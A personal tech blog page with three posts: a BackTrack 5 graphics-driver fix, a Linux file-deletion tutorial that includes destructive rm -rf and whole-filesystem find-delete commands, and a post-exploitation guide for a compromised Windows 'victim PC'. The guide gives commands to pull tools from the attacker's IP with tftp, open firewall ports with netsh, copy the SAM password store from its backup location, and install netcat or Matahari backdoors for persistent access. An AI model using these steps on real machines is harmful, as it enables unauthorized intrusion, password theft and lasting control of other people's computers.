Pages

Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Wednesday, January 11, 2012

BackTrack 5 Linux. Startx not working


Don't run apt-get upgrade yet. It'll just download and install 500MB worth of software and the problem will come back on next reboot. Also keep in mind that updates have to be installed on hard disk installation. Don't run this command on live DVD boot Now you have to download and install drivers for your graphics card. Mine is a NVidia and I downloaded my drivers from this page: http://www.nvidia.com/object/unix.html
For 32-Bit, run command

wget http://us.download.nvidia.com/XFree86/Linux-x86/290.10/NVIDIA-Linux-x86-290.10.run 

For 64 bit,
wget  http://us.download.nvidia.com/XFree86/Linux-x86_64/290.10/NVIDIA-Linux-x86_64-290.10.run
Users with Intel and ATI chipsets  can download their divers from http://www.intel.com/support/graphics/sb/cs-010512.htm and http://support.amd.com/us/gpudownload/Pages/index.aspx . After the downloads are complete, install the divers using  either ./driver-file-name.run or sh driver-file-name.run command. You may have to make the files executable first using chmod +x driver-file-name . Some drivers may come in different packages. Follow the instructions in that case.
Run apt-get -f install to fix any missing dependencies and then run startx. You may want to reboot once before doing that though.  startx will work just fine as intended and will guide you to he BackTrack 5 desktop.

Wednesday, December 28, 2011

Essential OS Basics 1: Deleting files & folders in Linux

This series of posts will contain a list of some very useful Linux commands that you might need every now and then. I’ll start with a small tutorial on how to delete files in linux.

1. Delete files and directories




rm command

Let us assume you want to delete some files in directory /usr/tmp . You first navigate to directory using command

cd /usr/tmp

Now if you want to delete a particular file use rm as following:

rm filename

or you can run following command from whichever directory you are in.

rm /usr/tmp/filename

But if you want to delete all the files in that directory, use rm as following:

rm *.*

To refine it further, if you want to delete only a few files but leave the rest, you’ll have to use wild-cards. I’ll explain it first using deleting by extension example. Let us assume that you have a collection of zip, mp3 and bin files (with extensions .zip, .mp3 and .bin respectively) and you want to delete only mp3 files, then execute :

rm *.mp3

It’ll delete all mp3 files file leaving all zip and bin files intact. But if you want to delete .bin files too, just add the extension like this:

rm *.mp3 *.bin

In order to delete directories, you have to modify it a little by adding -rf, If you have a directory named DIR which you want to delete, execute

rm -rf DIR

As posted earlier, you can use *.* wildcard to delete everything in the directory including all the sub-directories:

rm -rf *

Similarly you can delete files based upon their names too. Executing

rm a*.mp3

will delete all mp3 files which start with alphabet a, while

rm -rf a*

will delete every file and directory which starts with a

Apart from this, you might come across a scenario where you have to find and delete some type of files from multiple directories / folders. In this case I’m assuming that you need to delete all mp3 files located in various sub-folders inside /usr/tmp/. In such a case use find command

find /usr/tmp/ -type f -iname “mp3″ -delete



or

find /usr/tmp -type f -iname “mp3″ -exec rm -f {} \;



If you replace path /usr/tmp with just a / it’ll find and delete ALL mp3 files on your computer. So be careful

Useful links:

http://www.cyberciti.biz
www.linuxquestions.org

Friday, January 16, 2009

What to do once you get in a remote PC

In this post I'll write about what to do once you gain administrative privileges on a Windows PC. There's lot that you can do, depending upon your inclinations (I hope benign).
Don't ask me how to get admin rights in first place. Figure that out yourself.
Maybe I'll write something on that someday, but not now.

Anyhow, once you get in open a windows command shell.
Here are a few things you might like to do:

1) Uploading/downloading files

First thing you might do is uploading a few files of your choice. TFTP (Trivial File Transfer Protocol) is an excellent choice for this.
You need to start tftp service/daemon on your PC first and place the files you want to upload in the programs working directory. In most linux versions, its /tmp

Type the following command to upload netsh.exe file.

C:\WINDOWS>tftp -i 192.168.1.10 GET netsh.exe netsh.exe

Here

-i specifies binary transfer mode

GET tells the victim PC to fetch the file from remote PC. You can use PUT to copy data onto a remote PC

192.168.1.10 is your ip

First netsh.exe is the file you want to upload

Second netsh.exe is the filename you want to keep in victim PC. You can change it to anything you want.


2. Editing network settings

The file netsh.exe is a Windows program for editing network related settings of a PC. Most XP PCs don't have it by default. You'll have to upload it. In this case, it's used to open certain ports in Windows Firewall, that otherwise could be blocked. VNC uses ports 5900 and 5800 for communications. You can edit the firewall setings to unblock these ports by using these commands:

netsh firewall set portopening tcp 5800

netsh firewall set portopening tcp 5900

netsh.exe firewall set portopening udp 5900

This is just an example. You can use this command to block or unblock any port. Keep in mind, unblocking a particular port doesn't mean the service/program that usually uses the port will start working. For example, unblocking port 23 and trying telnet will be of no use, unless telnet service is started on that PC.

3). Copying SAM

SAM file contains list of all the users and corresponding passwords in Windows. Though it's encryption can be hard to break depending upon password strength, it's a very juicy target. There are quite a few paid and free software to do that. It's default location is

C:\windows\system32\config

It's not possible to copy the SAM file directly as it's a protected system file. But there is a loophole here too. A backup copy of SAM is almost always located in

C:\windows\repair

You can copy this file to your own PC unlike original SAM.


4). Uploading a back-door

A back-door program for example netcat is necessary if you want to keep unrestricted access. netcat is supposed to be a good program, but most anti-virus programs detect it very easily. So it's slightly out of fashion. If that's the case, you can try using some script based back-doors like Matahari. It's a perl script. Only downside is that the target PC should have perl installed which most windows PCs don't have.
Linux fares better in this case. Another good option is VNC.



That's enough for now. Let me know if you have any suggestions or corrections.


Pageviews past week